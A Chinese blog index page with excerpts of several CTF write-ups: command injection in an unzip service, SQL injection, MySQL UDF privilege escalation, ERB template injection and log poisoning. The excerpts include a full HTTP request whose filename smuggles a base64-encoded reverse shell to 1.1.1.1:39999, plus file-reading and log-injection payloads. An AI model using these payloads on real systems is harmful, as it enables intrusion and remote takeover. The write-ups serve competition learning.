2024长城杯校内选拔赛——Writeup

WEB 在线解压(2023国赛 华北赛区) 下载源码,审计POST路由,其中savepath可控且无过滤,直接闭合命令执行即可 命令注入点在上传的文件名,由于文件名不能包含/等特殊字符,所以需要把反弹shell的命令base64编码一下: a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`# 完整请求包如下: POST / HTTP/1.1 Host: 1.1.1.1:12345 Content-Length: 277 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#" Content-Type: image/jpeg asdasd ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu-- 附:上传文件请求包 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>POST传输数据包</title> </head> <body> <form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html> 卫继龚的博客——1(2023WMCTF) 下载题目附件,分析app.js 32-135行的路由,用nodejs实现了werkzeug的console,类似于Flask里面的调试模式的console,不过这里需要鉴权才能进入console 在edit这个路由里,获取传入的id,并做查询, !/\d+/igm.test(id)用于检查id是否包含一个或多个数字,所以还是可以注入的,只需要包含数字且不包含into、outfile、dumpfile即可 再看getPostById方法,这里直接对传入的id做拼接(在post.js) 直接传/post/1'/edit发现就可以注入 前面提到的鉴权,它的pin在程序启动的时候就被打印出来了 ...

February 1, 2024 · 16 min · Red

[2024西湖论剑]only_sql

拿到题目后打开发现是一个mysql连接面板,初步猜测是在自己的远程数据库里写木马再写到靶机上 用vps开一个数据库,给root后连接,发现确实可以执行sql指令 但是没法写东西到靶机里(into outfile),搜索后发现是要开一个secure_file_priv的参数 并且我发现了这篇博客 可以用load data local infile语句在不受这个参数影响的情况下将文件内容读出来并写到我的远程数据库里。当然还可以使用搭建蜜罐的方式直接读文件,我后来选择使用后者 经过测试,蜜罐搭建后用面板连接,确实可以读取到文件 将query.php读出来就可以看到靶机运行的mysql的账号密码和库名,回到一开始的面板登录即可。登陆后,试了一圈也没发现flag文件,所以猜测是在环境变量。但是没找到读环境变量的方法,只能想办法rce 由于实在找不到什么除了sql外的rce手段,所以最后选择直接用udf提权 UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用c语言编写。 先确定secure_file_priv是空值 show variables like '%secure%'; 之后确定一下mysql安装路径 show variables like '%basedir%'; 通过主机版本及架构确认mysql位数来选用udf文件 show variables like '%compile%'; 查看 plugin 目录 show variables like 'plugin%'; 还要再看一下有没有满足高位权限 select * from mysql.user where user = substring_index(user(), '@', 1) ; 最后看一下plugin的值 select host,user,plugin from mysql.user where user = substring_index(user(),'@',1); plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。 上述条件满足且信息搜集完后,这里我选择用msf里自带的udf库文件,路径是/usr/share/metasploit-framework/data/exploits/mysql ...

January 30, 2024 · 1 min · Red

2024寒假训练赛3——Writeup

WEB TODO 题目给了两个端口,也就是起了两个web服务,一个是一个TODO应用,一个是。。。额。html测试器 应用一 应用二 作者直接给出了源码,页面里看不出啥,我们直接来看源码 在util/report.js发现了可疑的地方。 const LOGIN_URL = "http://127.0.0.1/login"; let browser = null const visit = async (url) => { const ctx = await browser.createIncognitoBrowserContext() const page = await ctx.newPage() await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' }) await page.waitForSelector('form') await page.type('wired-input[name=username]', process.env.USERNAME) await page.type('wired-input[name=password]', process.env.PASSWORD) await page.click('wired-button') try { await page.goto(url, { waitUntil: 'networkidle2' }) } finally { await page.close() await ctx.close() } } const doReportHandler = async (req, res) => { ... await visit(url) ... } 在routes/index.js里可以看到router.post('/report', doReportHandler); ...

January 27, 2024 · 15 min · Red

2024寒假训练赛2——Writeup

WEB 窥视 一个简单的论坛系统 核心的api有 登录 POST /auth/login 注册 POST /auth/register 创建/回复帖子 POST /forum/post 审了一圈代码,唯一可操作的地方应该就是创建帖子(POST /forum/post)那一块了,这里有个文件图片上传 ValidationMiddleware("post", "/forum"), async function (req, res) { const { title, message, parentId, ...convertParams } = req.body; ... let attachedImage = null; if (req.files && req.files.image) { const fileName = randomBytes(16).toString("hex"); const filePath = path.join(__dirname, "..", "uploads", fileName); try { const processedImage = await convert({ ...convertParams, srcData: req.files.image.data, format: "AVIF", }); await fs.writeFile(filePath, processedImage); attachedImage = `/uploads/${fileName}`; } catch (error) { req.flashError("There was an issue processing your image, please try again."); console.error("Error occured while processing image:", error); return res.redirect("/forum"); } } ... } 随便进到一篇文章里po一张图片上去,结合POST表单和代码可以看出来,除了title, message, parentId三个参数外,其他参数都被写到convertParams里了, const processedImage = await convert负责用convertParams里的参数对图片进行一个转换。 ...

January 25, 2024 · 16 min · Red

2024寒假训练赛1——Writeup

WEB LoveTok 拿到附件后先看文件结构 还是比较简单的,老规矩,先从index入口开始 注意到这个对象,是个路由,路由方法在上面的函数。文件结构里找一下发现了同名的文件,进去看看 发现接收format参数后拿他去new了一个对象,同样跟进一下这个TimeModel文件 先看构造函数,可以看到会被addslashes过滤一遍。这里简单说一下这个函数的处理方法,如果被处理数据是输入到数据库中的,就会在例如单双引号、斜杠前面加上反斜杠进行转义。算是一种安全处理方式。不管要注意的就是,他只在数据输入进数据库时有效。 接下来就是一些显示的处理。看到下面的getTime方法,有个eval,应该就是利用这个家伙了 可以看到format有被放到eval中,但是不管输入什么都会被当成文本。怎么办呢?看提示 又是一个直接给payload的题了属于是 霓虹灯 一样,先看文件结构 发现不是常规语言,而是ruby 没事,同样先找index入口。 post提交了一个表单,没有明显的接口提示,那就直接看看controllers吧 没猜错,controllers控制着表单接收。如果经是验丰富的人看到这个正则匹配应该就知道肯定需要绕过了,但是我们还不清楚这个ERB对象是干嘛用的,再看看其他文件,也没发现有这个ERB类的定义,所以猜测应该是ruby自带的 搜了一下发现还真是,是个模板,而且还有个模板注入漏洞 发现ERB是Embedded RuBy的简称,意思是嵌入式的Ruby,是一种文本模板技术 网上提供了很多这个模板的注入方法,简单看了一下,读文件应该是长下面这样 <%= File.open('flag.txt').read %> 但是显然这应该不满足我们的正则匹配规则,怎么办呢?我看到了这篇文档 简单来说就是用^或者$,但是实测发现并不奏效,不过也当作是个知识点记录一下 怎么办呢?继续搜,发现了这个 是的,使用%0a或者\n换行就能绕过。拿我们前面的payload测试一下 1111%0a<%= File.open('/flag').read %> 这里有个坑要注意,如果上面这句payload直接在前端的输入框输入,就会被多次url编码,导致后端接收到的结果与预期不同,因此要将%,=等符号手动url编码后放置到数据包中进行发送 最终在数据包中的payload应该如下 neon=111%0a<%25%3d+File.open('/flag').read+%25> 有毒朋友 简单的文件包含与本地命令执行,下载附件后先看入口index.php 发现是读cookie,并且看到是被base64编码的,因此可以抓包下来看到serialize($page)的内容 在右侧已经被自动解码 继续看代码,跟进到PageModel 发现有一个文件包含的地方,并且可以通过控制刚刚cookie中的参数来达到访问不同的文件的效果。此时包含什么文件进来都会被当成php代码执行。而现在要找到能够查看并且可随着数据包而修改的文件内容的,第一个想起的就是服务器的日志文件。它会记录我们对服务器的访问请求。具体可以看我的这篇博客 所以可以通过修改User-Agent,从而达到让日志文件被写入php指令并执行的目的 这里要注意,得发送两次才能看到ls的结果,可以思考一下这是为什么 MISC 嘈杂 就像提示里说的那样,这里直接放exp import numpy as np from scipy.io.wavfile import read from scipy.fft import dst # 读取音频文件 final_waveform = read("encrypted.wav") # 对音频信号进行离散余弦变换(DST) result = dst(final_waveform[1]) # 从变换结果中选择幅度大于10^5的值 amplitudes = result[result > 10**5] amplitudes.sort() # 用于存储恢复的文本 recovered = "" # 遍历选定的幅度值 for a in amplitudes: # 找到幅度在变换结果中的位置 found = np.where(result == a)[0][0] # 判断位置是否为奇数 if found % 2 == 1: # 计算字符对应的ASCII码值 c = round(found / 20) # 将ASCII码值缩小,直到在可打印字符范围内 while c > 128: c //= 4 # 将字符添加到恢复的文本中 recovered += chr(c) # 打印恢复的flag print(recovered) 莫斯档案馆 每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。 ...

January 24, 2024 · 12 min · Red